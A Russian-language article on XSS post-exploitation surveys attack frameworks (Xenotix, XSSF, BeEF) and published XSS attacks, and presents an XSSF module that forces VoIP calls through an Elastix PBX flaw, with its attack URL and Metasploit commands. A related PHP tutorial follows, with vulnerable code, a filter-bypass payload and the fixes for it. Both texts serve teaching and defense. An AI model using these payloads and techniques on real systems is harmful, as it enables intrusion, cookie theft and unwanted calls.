С появлением технологий разработки многофункциональных веб-приложений и увеличения числа веб-сервисов возросло количество уязвимостей в этих приложениях. Межсайтовый скриптинг (Cross Site Scripting, CSS или чаще используемая аббревиатура XSS) один из наиболее распространенных типов атак посредством внедрения кода. Суть XSS в следующем: в веб-приложение находится уязвимость, а затем происходит внедрение кода через необрабатываемые входные параметры. Когда легитимный пользователь заходит на инфицированную страницу, происходит вызов вредоносного кода в его браузере. Внедренный код может читать, изменять или передавать любые конфиденциальные данные, к которым есть доступ у браузера: cookies, идентификаторы сессий (session tokens) и т. д.
XSS-уязвимости (Cross-site Scripting (XSS) – OWASP, см. раздел Ссылки) существуют уже достаточно давно. Детальное описание XSS можно найти в обзоре Shanmugam и Ponnavaikko от 2008 года (см. раздел Ссылки). В статье основной акцент делается на пост-эксплуатацию XSS-уязвимостей, то есть атаках, которые могут быть проведены после нахождения уязвимости или в сочетании с поиском подобных уязвимостей. В Разделе 2 мы расскажем об основных функциях некоторых полезных и популярных утилит, используемых для нахождения XSS-уязвимостей и выполнения XSS-атак. В Разделе 3 мы классифицируем XSS-атаки (постоянные (хранимые), непостоянные (отраженные), основанные на DOM-модели). В Разделе 4 будут описаны некоторые из последних и наиболее интересных уязвимостей найденных в веб-приложениях, а также методы их использования. В Разделе 5 мы перечислим несколько защитных средств, которые можно реализовать как на стороне сервера, так и на стороне клиента для защиты веб-страницы или приложения от XSS-уязвимости. В Разделе 6 мы представим концепцию и код нового модуля, разработанного для вызовов через протокол VoIP (Voice over Internet Protocol), используя XSS-уязвимость. В конце мы подведем итоги и представим идеи и мысли для дальнейшей работы в этой области.
2. Популярные утилиты для нахождения и эксплуатации XSS-уязвимостей
В этом разделе мы кратко рассмотрим несколько популярных фреймворков для нахождения XSS-уязвимостей в веб-приложениях и их последующего использования. Они инжектируют полезные нагрузки (payloads) и выполняют скрипты на уязвимой странице.
2.1 Xenotix
Xenotix (Abraham, 2012, см. раздел Ссылки), по существу, является утилитой для тестирования на проникновение в систему, используемой для пост-эксплуатации XSS-уязвимостей. В его базе есть более 450 полезных нагрузок, включая даже такие, которые могут обойти основные XSS-фильтры, используемые для защиты веб-разработчиками. Полезные нагрузки можно использовать как в ручном, так и в автоматическом режиме. Можно, к примеру, собирать данные вводимые пользователем на инфицированной странице или загружать вредоносные исполняемые файлы на компьютер жертвы без ее ведома. Когда пользователь затем просматривает инфицированную страницу, java-апплет client.jar получит доступ к командной строке его системы. Про помощи команды echo, в файл winconfig.vbs (файл скриптов Visual basic) в директорию temp (%temp%) записываются скрипты, а затем cmd.exe запускает windonfig.vbs, который загрузит вредоносный исполняемый файл определенный злоумышленником в URL. Далее произойдет переименование файла в update.exe и его запуск. Еще один эксплоит, предлагаемый Xenotix, — установка обратной оболочки (reverse shell) (Hammer, 2006, см. раздел Ссылки) на компьютер жертвы для получения доступа к его системе.
Несмотря простоту Xenotix, утилита имеет несколько ограничений. Например, данные по нажатым клавишам могут собираться только на инфицированной странице, а при загрузке файлов на компьютер пользователя могут запускаться только 16-битные исполняемые файлы. К тому же, у пользователя каждый раз при загрузке файла или атаке через обратную оболочку всплывают сообщения, поскольку приложение использует самоподписанные апплеты.
2.2 XSSF
Целью проекта XSSF является выявления потенциальных угроз, связанных с XSS-уязвимостями (Tomes, 2011 и xssf — Cross-Site Scripting Framework — Google Project Hosting; см. раздел Ссылки). Основная функция заключается в создании коммуникационного канала (или XSSF-туннеля) с браузером жервы (у которого есть XSS уязвимость) для выполнения различных атак, каждая из которых оформлена отдельным модулем. Существует огромное количество модулей, например, для кражи файлов, вызовов по Скайпу с iphone, сканирования сети и многие другие, которые могут быть реализованы для эксплуатации уязвимых веб-приложений.
Основной механизм работы XSSF – создание туннеля, включая список всех id жертвы в тот момент, когда пользователь заходит на страницу с XSS-уязвимостью. Затем злоумышленник определяет браузер пользователя, ищет подходящий эксплоит и налаживает сеанс работы с жертвой. Теперь злоумышленник может получить доступ к компьютеру пользователя. Более продвинутый метод: злоумышленник создает XSSF-туннель и получает доступ к локальному хосту с удаленной машины, а затем пользуется всеми его функциями. Также, используя XSSF, интегрированный с консолью Metasploit (Offensive Security Ltd., 2012, см. раздел Ссылки) можно использовать эксплоит для браузера на сайте с XSS-уязвимостью для получения meterpreter-сессии, а затем и полного доступа к системе. Еще одна особенность XSSF – так называемая «атака на автомате», когда автоматически по очереди исполняются несколько эксплоитов после захода жертвы на уязвимую страницу.
С одной стороны XSSF предлагает множество методов для XSS-атак, однако не предоставляет большого количества методов для нахождения XSS-уязвимостей. Также для работы с XSSF предварительно необходимо ознакомиться с Metasploit.
2.3 BeFF
Beef (Home · beefproject/beef Wiki · GitHub, 2006, см. раздел Ссылки) или Browser Exploitation Framework является мощной утилитой для браузера, при помощи которой можно производить тестирование на проникновение в систему. В приложении используются различные методы для оценки безопасности целевой среды. Фреймворк состоит из модулей управления, использующих простую и в тоже время мощную систему API, что делает всю систему весьма эффективной. Также есть возможность разработки пользовательских модулей.
BeFF подцепляет (hook) один или несколько браузеров для запуска определенных модулей управления и последующих атак против системы изнутри контекста браузера (browser context). У различных браузеров, по-видимому, есть различные контексты безопасности, к каждому из которых можно применить свой уникальный набор атак. Фреймворк позволяет тестировщику безопасности выбрать определенные модули (в режиме реального времени) для каждого браузера и, соответственно, каждого контекста.
BeFF – мощная утилита для выполнения различных атак, эксплуатирующих XSS-уязвимости, например, browser fingerprinting (сбор информации о браузере), удерживание захваченного браузера (persistence), сбор информации о сети, работа с DNS (DNS enumeration), сканирование портов и IRC NAT Pinning и т. д.
3. Типы XSS-атак
Существует три вида XSS-атак:
- Непостоянные (отраженные).
- Постоянные (хранимые).
- Локальные (основанные на DOM-модели);
Все уязвимости веб-страниц и веб-приложений могут быть отнесены к одному из трех видов, упомянутых выше. Каждый из видов атак описывается ниже при помощи диаграмм, которые наглядно показывают процесс детектирования и реализации XSS-атаки.
Рисунок 1: Типичный сценарий непостоянной (отраженной) XSS-атаки
Непостоянные (отраженные) атаки (см. рис. 1) осуществляются, когда данные предоставляемые веб-клиентом тут же используются серверными скриптами для генерации страницы с результатами для этого самого клиента. Если пользовательские данные некорректны и содержатся внутри страницы с результатами без кодирования HTML — это позволяет внедриться клиентскому коду в динамическую страницу. Теперь инжектированный код может быть выполнен на стороне сервера, например, на странице с поисковыми результатами или на странице с ошибкой или любой другой странице, которая появляется в ответ на запрос пользователя. Эта страница будет включать в себя часть входных данных, передаваемых серверу как часть запроса. Непостоянные атаки могут быть реализованы не только на веб-страницах, но и, например, при передаче e-mail сообщений или через сторонний веб-сервер. Когда пользователя обманным путем заставляют нажать на вредоносную ссылку или отправить данные специально заполненной формы, инжектируемый код передается на уязвимый веб-сервер, который затем отражается обратно и исполняется в браузере жертвы, поскольку данные поступают с достоверного сервера.
Рисунок 2. Типичный сценарий постоянной (хранимой) XSS-атаки
Постоянные (хранимые) атаки (см. рис. 2) обладают наибольшим потенциалом. При таких атаках вредоносных код хранится на сайте (в базе данных, файловой системе или в другом месте), а затем отображаются посетителю веб-страницы без кодирования с использованием специальных символов HTML. Например, на форумах пользователи могут публиковать сообщения формате HTML.
Рисунок 3. Типичный сценарий атаки, основанной на DOM
Локальные XSS-атаки или атаки, основанные на DOM, заключаются в том, что злоумышленник меняет данные на стороне клиента во время запроса страницы с сервера.
К примеру, если участок кода JavaScript имеет доступ к параметру URL и формирует некий HTML-код на странице, используя эту информацию, которая не закодирована с использованием спецсимволов HTML – возможно, присутствует XSS-дыра, поскольку записанные данные будут заново интерпретированы браузерами, так как HTML-код может содержать дополнительный клиентский скрипт.
4. Пост-эксплуатация XSS-уязвимостей
4.1 Кража данных в Android
Уязвимость, описанная здесь (Cannon, 2013, см. раздел Ссылки), присутствует во фреймворке Android версии 2.2. Брешь может быть использована для получения доступа к файлам на SD-карте в устройстве на платформе Android. Браузер в Android не выводит никаких сообщений, в то время как файл, например, «payload.html» автоматически загружается в /sdcard/download/ payload.html. Можно использовать JavaScript для автоматического открытия этого файла, что приведет к тому, что браузер обновит локальный файл и позволит скрипту получить доступ к файлам, хранящимся на SD-карте. Далее можно передать содержимое файлов обратно на инфицированный веб-сайт. Будучи простым эксплоитом, использующим JavaScript и редиректы, он может поражать телефоны с различными версиями Android. Однако у него есть некоторые ограничения. Например, необходимо заранее знать имя и путь к файлу, к которому мы хотим получить доступ. Поскольку эксплоит не повышает привилегии в системе, с его помощью можно получить доступ только к файлам на SD-карте.
4.2 Некорректная URI-схема и встроенный Webkit-браузер Скайпа в iOS
Эта уязвимость (более детально описана в Kumar, 2011; Purviance, 2011; iPhones Make Automatic Skype Calls | Security Generation, 2010; см. раздел Ссылки) существует в фреймворке iOS. Ее можно использовать для получения доступа к базе данных SQLite адресной книги или совершать звонки при помощи Скайпа. Скайп, разработанный для iOS, использует локальный HTML-файл для отображения сообщений от других пользователей. Проблема заключается в том, что приложение некорректно кодирует информацию, содержащуюся в поле «Full Name», что позволяет злоумышленнику сформировать вредоносный JavaScript-код, который запустится, когда жертва будет просматривать сообщение.
Еще одна проблема кроется во встроенном браузере на базе Webkit, используемый Скайпом. Разработчики добавили URI-схему «file://», позволяющей злоумышленнику получить доступ к файловой системе и прочитать любой файл, доступный в песочнице iOS (iOS application sandbox). Пользуясь лояльной политикой безопасности для сторонних приложений, которые могут выполнять определенные действия, используя URL или URI-схему, злоумышленник может встроить в веб-страницу скрытый iframe, при помощи которого можно совершать звонки в Скайпе (если, конечно, он установлен в системе). JavaScript выглядит примерно так: <iframe src=”skype://1900expensivepremium
number?call”> </iframe>.
4.3 Использование HTML5 API для междоменных вызовов
Эту уязвимость можно использовать только для систем на базе Windows (Kuppan, 2010, см. раздел Ссылки). В HTML5 API есть два способа для совершения междоменных вызовов: Cross Origin Requests и WebSockets. Используя эти механизмы и JavaScript можно соединиться с любым IP-адресом и любым портом (за исключением заблокированных), что делает эти технологии идеальными для создания сканера портов. Можно, к примеру, определить является ли порт открытым, закрытым или находящимся под фильтром. Для этого существуют два свойства: «ready state», которое отображает статус соединения в определенный момент времени и «time duration», которое отображает временной интервал нахождения в состоянии «ready state».
Таким образом, наблюдая за изменениями состояния, мы можем определить тип порта. Поскольку наш сканер работает на уровне приложения, успех сканирования зависит от софта, установленного на целевом хосте. Когда посылается запрос определенному приложению, оно считывает его, но ничего не отвечает, сохраняя сокет открытым, и, возможно, ожидает дополнительные входные запросы или запросы в определенном формате. В этом случае статус определить невозможно. Поскольку можно опознать даже закрытые порты, мы можем сканировать всю сеть, а также определять внутренние IP-адреса.
4.4 Управления Ajax-историей в HTML5
Об этой уязвимости рассказано в (Kotowicz, 2010, см. раздел Ссылки). В HTML5 есть функция window.history.pushState(), которая позволяет получать доступ к страницам и ссылкам без изменения URL. Эта функция создана для AJAX-сайтов для более простого внесения изменений в адресной строке (window location bar) и управления историей. Подобный механизм очень удобен для разработчиков: к примеру, теперь в AJAX-приложениях может быть легко реализована поддержка кнопок Назад/Вперед без использования трюков с идентификатором # в URI-фрагментах. Однако если веб-сайт имеет XSS-уязвимость, злоумышленник может перенаправлять пользователей без каких-либо изменений в адресной строке.
4.5 Доступ к элементу управления WScript ActiveX в Internet Explorer
Настройки безопасности в Internet Explorer позволяют получить доступ элементу управления WScript ActiveX через JavaScript и VBScript. В простейшем приложении показывается как при помощи объекта «WScript.shell» ActiveX можно взаимодействовать с клиентской машиной (Spitzen, 2008, см. раздел Ссылки). При помощи этого элемента управления можно выполнять команды, как и в командной строке, без оповещения пользователя. Используя Shell, можно создавать, удалять или изменять текстовые файлы через WScript.FileSystemObject. В IE7 появилась новая настройка безопасности «Разрешен доступ к источникам данных через домен» (Access data sources across domain), и теперь по умолчанию происходит оповещение пользователя, хочет ли он разрешить скрипту «пообщаться» с другими доменами (файловая система рассматривается как отдельный домен). Однако можно создать и запустить скрипт прямо на диске и, соответственно, обойти эти ограничения.
4.6 File API в HTML5
Эта уязвимость существует в движке Webkit (последняя версия Google Crome), и может использоваться для использования браузера Google Crome в качестве файлового сервера. File API в HTML5 позволяет JavaScript получить доступ к файлу в момент выбора его пользователем (перед закачкой). Помимо улучшения интерфейса закачки, данный механизм может быть использован для кражи файлов во время XSS-атаки. Вы можете создать скрытый элемент input type=file, так что пользователь, сам того не ведая, начнет загружать файл. В этом случае файл, выбранный пользователем в диалоговом окне Открыть, является единственным, к которому можно получить доступ. Хотя input type=file directory — прекрасная возможность, позволяющая пользователю загружать содержимое выбранной директории, к которой может получить доступ злоумышленник.
4.7 Использование XSS-уязвимости для определения координат
Компания Google помимо сбора данных для Google Street View также собирала данные о беспроводных сетях и MAC-адресах роутеров этих сетей, а затем определяла их GPS-координаты. Как описано в (Higgins, 2010, см. раздел Ссылки), XSS-эксплоит можно использовать для получения данных о местонахождении пользователя. Эксплоит может получить MAC-адрес роутера жертвы, а затем использовать Google Maps для определения GPS-координат. Сам по себе роутер и браузер не содержат информацию о местонахождении или GPS-данные, однако, когда вы зайдете на вредоносную страницу, злоумышленник через AJAX может получить MAC-адрес роутера, а затем, используя сервисы Google, узнать о вашем местонахождении (получить примерные GPS-координаты) на основе полученного MAC-адреса.
4.8 NAT PINNING – IRC через HTTP
Сами Камкар (Samy Kamkar) рассказал об этой уязвимости в своей статье (Kamkar, 2010, см. раздел Ссылки). При такой XSS-атаке вредоносная страница незаметно заставляет роутер или фаервол пользователя пробросить любой порт обратно на его машину. Когда жертва кликает по вредоносной ссылке, содержащей скрытую форму для соединения с ресурсом http://attacker.com:6667 (IRC-порт), происходит сабмит формы без ведома пользователя. Далее создается HTTP-соединение с (фальшивым) IRC-сервером злоумышленника, который находится в режиме ожидания. Роутер жертвы видит «IRC соединение» (даже если клиент использует HTTP-соединение) и попытку установить сессию при помощи DCC chat. Протокол DCC (Direct Client-to-Client) является суб-протоколом IRC, позволяющий обмениваться файлами и текстовыми сообщениями минуя сервер. Для взаимодействия через DCC chat необходим открытый локальный порт на клиентской машине, к которому подсоединяется удаленный абонент. Поскольку роутер блокирует все входящие подключения, принимается решение о перенаправлении всего трафика на порт DCC chat для того, чтобы злоумышленник смог обойти NAT (NAT traversal), соединиться и пообщаться с жертвой. Однако злоумышленник должен указать конкретный порт, к примеру, 21-й порт (FTP). Теперь роутер будет производить переадресацию с этого порта на систему жертвы, и у злоумышленника появляется возможность соединиться и произвести атаку.
4.9 Использование эксплоитов для браузеров
При таких атаках можно, например, эксплуатировать стек браузера и запускать вредоносный шелл-код или открывать meterpreter-сессию, используя эксплоиты, нарушающие целостность информации в памяти в связке с XSS. Остальные эксплоиты могут возвращать meterpreter-сессию без непосредственного воздействия на стек браузера. Например, самоподписанный java-апплет можно использовать для загрузки и выполнения вредоносных исполняемых файлов.
5. Новый модуль для реализации XSS-атаки
В этом разделе мы представим новый модуль на базе XSSF (cross site scripting framework).
5.1 Концепт модуля
Здесь мы расскажем о концепции нового модуля, который будет создан на базе XSSF и будет эксплуатировать XSS-уязвимость для совершения вызова по протоколу VoIP.
Elastix PBX (Elastix Freedom to communicate, 2006, см. раздел Ссылки) – PBX-сервер, позволяющий осуществлять коммуникации через протокол VoIP. Приложение доступно для свободной загрузки по адресу http://www.elastix.org /index.php/en/downloads.html. Программное обеспечение имеет веб-интерфейс для конфигурирования сервера и доступно с любой машины в сети. Для получения доступа к серверу в браузере нужно указать адрес https://IP/ (IP – адрес сервера). Наш модуль работает с версией Elastix PBX 2.2. 20 марта 2012 года об XSS-уязвимости в веб-интерфейсе сервера сообщил «Martin Tschirsich».
Согласно его информации, уязвимость содержится в файле www/html/recordings/ misc/callme_page.php. При помощи этой уязвимости SIP-клиент может вызвать определенное расширение. Мы разработали модуль, эксплуатирующий данную уязвимость и вызывающий расширение, для фреймворка XSSF на языке Ruby. Во время запуска модуля жертва видит подсказку с вызовом.
Когда пользователь посещает страницу, которая уже скомпрометирована злоумышленником, его имя отображается в списке на панели в XSSF-фреймворке. Если у жертвы установлено соединение с сервером посредством SIP-клиента, злоумышленник может запустить этот модуль и реализовать атаку.
Рисунок 4. Скриншот после выполнения модуля
5.2 Код модуля
5.2.1 Инициализация модуля
Рисунок 5. Инициализация модуля
5.2.2 Скрипт, посылаемый жертве
Рисунок 6. Скрипт, посылаемый жертве
5.3 Этапы выполнения атаки
Необходимо, чтобы сервер Elastix 2.2.0 PBX и жертва находились в одной подсети. Также жертва должна законнектиться к серверу при помощи SIP-клиента. Далее злоумышленнику необходимо установить XSSF внутри Metasploit. Вначале пользователь должен перейти по следующей ссылке (это необходимо для вызова расширения): https://IP_address_of_Elastix/recordings/misc/callme_page.php?action=c&callmenum=Extension@from-internal/h
Общая схема атаки выглядит так:
- Злоумышленник (явно или неявно) отсылает жертве ссылку уязвимого сайта вместе со скриптом для соединения с XSSF-сервером.
- После того, как жертва перешла по ссылке, она отобразится в списке жертв в XSSF.
- Затем злоумышленник загружает модуль «Elastix_PBX_voip_call» при помощи следующей команды: Use auxiliary/xssf/public/misc/Elastix_PBX_voip_call.
- Злоумышленник вводит IP-адрес VoIP-сервера в поле «address» и расширение клиента в поле «extension» при помощи следующей команды: set address IP set extension EXT.
- Модуль запускается, и в браузере жертвы создается iframe, внутри которого находится ссылка для вызова, после чего жертва видит вызов с неизвестного номера.
6. Способы защиты от XSS-уязвимостей
В современном мире онлайн сервисы набирают все большую популярность и, соответственно, веб-приложения играют все более важную роль. Однако в то же время растет и количество уязвимости в этих приложениях. Сегодня, когда веб-безопасность может быть легко скомпрометирована, необходимо предпринимать больше усилий по защите от подобных атак. Существуют различные способы для предотвращения угроз XSS-атак. Подобные механизмы (XSS (Cross Site Scripting) Prevention Cheat Sheet — OWASP, 2012, см. раздел Ссылки) можно реализовать как на стороне сервера, так и на стороне клиента.
6.1 Защита на стороне сервера
Для защиты от XSS-уязвимостей разработчики могут предпринять различные шаги. Основная концепция: не доверять входным данным (включая cookies), посылаемым пользователем. Перед тем, как открыть доступ, необходимо произвести тщательную проверку и валидацию. Безопасность cookies, как говорилось в статье Роберта Хафнер (Robert Hafner) (Hafner, 2009, см. раздел Ссылки), может быть реализована путем ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly, использованием SSL. Никогда не следует хранить конфиденциальные данные в cookies. Еще один безопасный способ: запретить использование скриптов со стороны клиента сайта. Заголовки Content-Security-Policy также можно использовать для защиты от использования XSS-эксплоитов. Также необходимо кодировать управляющие HTML-символы, JavaScript, CSS и URL’ы перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции: filter_sanitize_encoded (для кодирования URL), htmlentities (для фильтрации HTML), filter_sanitize_magic_quotes (применяется функция addslashes()). Эти фильтры проверяют входные параметры, посылаемые пользователем, JavaScript, POST-запросы и предотвращают запуск скриптов. Помимо этого существует несколько библиотек, которые кодируют входные данные: OWASP Encoding Project (доступен на Google Code), HTML Purifier или Htmlawed для PHP Anti-XSS Class. Для .Net приложений: AntiSamy API для .Net, для Java: XSS-HTML-Filter.
6.2 Защита на стороне клиента
Конечные пользователи также могут предпринять определенные шаги для защиты от XSS-атак. Например, можно установить расширения для браузера, которые будут проверять поля форм, URL’ы, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox; NotScripts для Crome и Opera. В Internet Explorer 8 для решения этой задачи имеется встроенная функция.
7. Выводы и идеи для дальнейшей работы
В 21 веке веб-приложения стали неотъемлемой частью нашей жизни. Однако часто они являются уязвимыми к определенным атакам. В данном документе мы рассмотрели один из видов уязвимостей и способы их последующей эксплуатации. XSS-атаки являются преобладающими среди атак, когда происходит внедрение кода, и уязвимости, позволяющие совершать подобные действия, могут стать основой мощных эксплоитов. В более серьезных атаках XSS может сочетаться с использованием других типов уязвимостей. В данной статье мы рассмотрели некоторые наиболее распространенные атаки. Мы привели список утилит для нахождения XSS-уязвимостей и их последующей эксплуатации, а также познакомили вас с ключевыми функциями этих утилит. Затем мы рассмотрели различные виды XSS-атак вместе с концепцией каждой из них. Мы разработали новый модуль на основе XSSF, который совершает VoIP-вызовы. Код самого модуля вместе с базовой концепцией и алгоритмом работы также представлен в этой статье. В предпоследнем разделе мы рассмотрели некоторые способы защиты от XSS, которые могут быть реализованы как на стороне сервера, так и на стороне клиента. По мере появления новых приложений и функций, будут появляться новые уязвимости и виды атак. Мы намереваемся продолжить эту работу, комбинируя критические уязвимости вместе XSS и создавая новые модули, которые могут быть использованы другим программным обеспечением и фреймворками.
Ссылки
(n.d.). Retrieved from http://santoshdudhade.blogspot.in/2012/07/xssf-v22-cross-site-scripting-framework.html
Abraham, A. (2012). Detecting and Exploiting XSS with Xenotix XSS Exploit Framework. Retrieved from Club Hack 2012: http://www.clubhack.com/2012/event/technical-briefings/detecting-and-exploiting-xss-with-xenotix-xss-exploit-framework/
Cannon, T. (2013, november 23). Android Data Stealing Vulnerability | thomascannon.net. Retrieved 2013, from thomascannon.net: http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/
Cross-site Scripting (XSS) — OWASP. (n.d.). Retrieved February 2013, from www.owasp.org: https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
Elastix Freedom to communicate. (2006). Retrieved from http://www.elastix.org/index.php/en/downloads.html.
Hafner, R. (2009, August). How to create totally secure cookies. Retrieved from teamtreehouse.com: http://blog.teamtreehouse.com/how-to-create-totally-secure-cookies
Hammer, R. (2006). Inside-Out Vulnerabilities, Reverse Shells. Retrieved from www.sans.org: http://www.sans.org/reading_room/whitepapers/covert/inside-out-vulnerabilities-reverse-shells_1663
Higgins, K. J. (2010). Hack Pinpoints Victim’s Physical Location. Retrieved from http://www.darkreading.com/security/news/222200541/hack-pinpoints-victim-s-physical-location.html
Home · beefproject/beef Wiki · GitHub. (2006). Retrieved from github.com: https://github.com/beefproject/beef/wiki
iPhones Make Automatic Skype Calls | Security Generation. (2010, November 10). Retrieved 2013, from www.securitygeneration.com: http://www.securitygeneration.com/tech/iphones-make-automatic-skype-calls/
Kamkar, S. (2010, January). NAT Pinning: Penetrating routers and firewalls from a web page (forcing router to port forward). Retrieved from http://samy.pl/natpin/
Kotowicz, K. (2010, November). THE WORLD. ACCORDING TO KOTO. Retrieved from blog.kotowigz.net: http://blog.kotowicz.net/2010/11/xss-track-got-ninja-stealth-skills.html
Kumar, M. (2011, September 20). iPhone Skype XSS Vulnerability Lets Hackers Steal Phonebook [Video] — Hacking News. Retrieved 2013, from thehackernews.com: thehackernews.com/2011/09/iphone-skype-xss-vulnerability-lets.html
Kuppan, L. (2010). Port Scanning with HTML5 and JS-Recon. Retrieved from http://blog.andlabs.org: http://blog.andlabs.org/2010/12/port-scanning-with-html5-and-js-recon.html
Offensive Security Ltd. (2012). Introduction — Metasploit Unleashed. Retrieved from www.offensive-security.com: http://www.offensive-security.com/metasploit-unleashed/Introduction
Purviance, P. (2011, September 19). XSS in Skype for iOS « Superevr. Retrieved from superevr.com: https://superevr.com/blog/2011/xss-in-skype-for-ios/
Shanmugam, J., & Ponnavaikko, D. M. (2008). Cross Site Scripting-Latest developments and solutions: A survey. International Journal of Computational Mathematics, 1(2). Retrieved from http://www.emis.de/journals/IJOPCM/files/IJOPCM(Vol.1.2.2.S.08).pdf
Spitzen, I. (2008). Using WScript.shell to interact with the Client machine. Retrieved from http://www.visualwebgui.com/Developers/KB/tabid/654/article/using_wscript_shell_to_interact_with_the_client_machine_by_mark_reed/Default.aspx
Tomes, T. (2011, July ). PaulDotcom. Retrieved from http://pauldotcom.com/2011/07/xssf-expanding-the-attack-surf.html
XSS (Cross Site Scripting) Prevention Cheat Sheet — OWASP. (2012). Retrieved February 2013, from www.owasp.org: https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
xssf — Cross-Site Scripting Framework — Google Project Hosting. (n.d.). Retrieved February 2013, from code.google.com: http://code.google.com/p/xssf/
Уязвимость XSS в PHP-скриптах и как ее избежать
XSS — это тип уязвимости, когда у злоумышленника получается пропихнуть вредоносный HTML- или JS- код в страницу на сайте. Напомню, что JS (яваскрипт) — это язык, программы (скрипты) на котором можно встраивать в HTML-страницу и выполнять внутри браузера. Если злодею это удается сделать, то при открытии такой страницы в браузере внедренный JS-код может выполнять любые действия на сайте от имени пользователя, например, воровать его куки (чтобы злоумышленник потом с их помощью зашел на сайт), рассылать спам, копировать личные данные пользователя, перенаправлять пользователей на другой сайт, нажимать кнопки, отправлять сообщения — в общем, такой код может сделать много нехороших вещей.
Самый простой пример уязвимости получается, когда переданные через GET-параметр значения выводятся (добавляются в код страницы) как есть, например, http://example.com?q=[… html и js код …]. Но вообще, XSS атаку можно провести и через любые другие данные, например, POST-, куки, HTTP-заголовки, данные из базы (которые хакер записал туда раньше). То есть на более-менее сложном сайте невозможно отфильтровать все входные данные, это бесперспективный путь.
Также, пытаться фильтровать все GET/POST данные (как рекомендуют некоторые учебники) не очень перспективно, так как есть очень много способов подсунуть злой код (примеры: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ). Трудно написать фильтр, который сможет ловить все эти коды.
Прежде чем говорить о методах борьбы, рассмотрим 2 простых примера. Допустим, школьник Вася сделал на своем сайте скрипт search.php для поиска информации на сайте. Данные для поиска передаются через GET-параметр и выводятся без фильтрации. Вот, как выглядит код:
// .... $query = $_GET['q']; echo "<p>Вы искали: $query</p>"; // .... дальше идет код вывода результатов поиска ...
Если посмотреть повнимательнее, то видно, что данные, переданные в URL (и попавшие в $_GET), выводятся на странице без всяких преобразований.
Злоумышленник может сделать ссылку:
http://example.com/search.php?q=<script>зловредный скрипт, ворующий все куки пользователя</script>
Содержимое параметра q без изменений вставится в страницу и получится код:
<p>Вы искали: <script>зловредный скрипт, ворующий все куки пользователя</script>
Код на яваскрипте, написанный внутри тега <script>, выполняется браузером при отображении страницы. Следовательно, злоумышленник может создать ссылку, при открытии которой пользователем выполнится любой заложенный в этой ссылке JS-код.
Злоумышленник посылает ссылку Васе (автору сайта), тот ее открывает в браузере, запускается скрипт и ворует куки Васи. Злоумышленник выкладывает куки на анонимном форуме и все его посетители, с помощью кук зайдя на сайт под администратором, дружно издеваются над сайтом Васи.
Пример 2
Наученный горьким опытом, Вася почитал устаревшие учебники по PHP4 и увидел там совет «очищать» пришедшие от пользователя данные. Вася поставил фильтр, не пропускающий угловые скобки и слово «script». И переделал свой код. Теперь данные фильтруются и Вася спит спокойно (однако, поиск по ключевому слову script теперь не работает):
.... $query = $_GET['q']; $query = preg_replace("/<|>|script/ui", '', $query); echo "<p>Вы искали: $query</p>"; // .... дальше идет код вывода результатов поиска ... echo "Искать еще: <input type=text value='$query'><button type=button>Искать</button>"; // .....
Хакер так просто не сдается. Он делает ссылку вида
/search.php?q=' autofocus onfocus='злой код'
и снова отправляет ее админу Васе. Админ открывает страницу, и запускается злой скрипт. Почему? Посмотрим, что получилось при подстановке параметра q в input type=text:
Искать еще: <input type=text value='' autofocus onfocus='злой код' '><button type=button>Искать</button>
Как видим, за счет кавычки текст злоумышленника смог «выйти» за пределы атрибута value и добавить дополнительные атрибуты к тегу <input>. Атрибут autofocus вызывает автоматическую установку курсора в поле при загрузке страницы, а атрибут onfocus содержит JS-скрипт, который срабатывает при установке курсора в поле (в HTML много таких атрибутов, они все начинаются с on...). Вася опять попался (и в этот раз хакер отыгрался на его сайте по полной программе).
Если читатель не хочет повторять ошибки Васи, ему стоит выбросить устаревшие учебники и читать дальше.
Средства борьбы
Средство борьбы одно: все данные, выводимые из переменных (неважно, откуда они пришли), в HTML код, надо пропускать через функцию htmlspecialchars (мануал по ней: http://php.net/manual/ru/function.htmlspecialchars.php ):
echo "<p>Вы искали: ".htmlspecialchars($query, ENT_QUOTES)."</p>";
echo "Искать еще: <input type=text value='".htmlspecialchars($query)."'><button type=button>Искать</button>";
Так надо делать со всеми переменными без исключения, значения которых выводятся на странице. Эта функция, htmlspecialchars, заменяет символы <, >, ", ', & на HTML-мнемоники так, что любые теги и кавычки не ломают HTML-код, а просто выводятся как текст.
| Символ | Заменяется на |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
Теперь хакер может передавать любые спецсимволы в параметре q и уязвимости не будет, так как код <script> заменится на конструкцию <script>, которая воспринимается браузером как текст <script> (не как HTML-тег, а как просто текст, состоящий из угловых скобок и слова script).
Можете сделать этот скрипт, и проверить сами.
Если лень писать каждый раз htmlspecialchars($query, ENT_QUOTES), можно сделать функцию с коротким именем:
function html($text) { return htmlspecialchars($text, ENT_QUOTES); }
Обратите внимание на параметр ENT_QUOTES — если его забыть указать, то одиночная кавычка не экранируется.
Хорошие шаблонизаторы вроде Twig экранируют данные при выводе автоматически.
От чего не поможет htmlspecialchars
Если на сайте пользователь может вводить и сохранять ссылки (например, в профиле в разделе «О себе»), то надо проверять, что они начинаются с http:// или https:// . Иначе пользователь подсунет ссылку вида data://… или javascript:// …., при клике по которой выполнится заложенный в ней JS-код. Конечно, ему надо еще заманить других пользователей кликнуть по ней, но наверняка есть способы для этого. htmlspecialchars тут не спасет, но поможет определение протокола ссылки с помощью parse_url() или проверка ссылки регулярным выражением.
Дополнительно защищаем куки
Дополнительная защита никогда не помешает, верно? У кук уже несколько лет есть специальный дополнительный параметр: httpOnly. Если его указать при создании куки, то такая кука будет недоступна яваскрипту на странице и злоумышленник, даже найдя XSS, не сможет её украсть (но другие нехорошие вещи он все равно сможет сделать, так что это не дает 100% защиту, а лишь усложняет атаку).
Вот, как создать http-only куку в PHP:
setcookie ('auth', '12344567890', 0, '/', null, false, true)
последний параметр, true, включает опцию http-only. Думаю, стоит включать эту полезную опцию для всех кук, которые как-то авторизуют пользователя. Мануал: http://php.net/manual/en/function.setcookie.php
Защита от XSS в браузерах
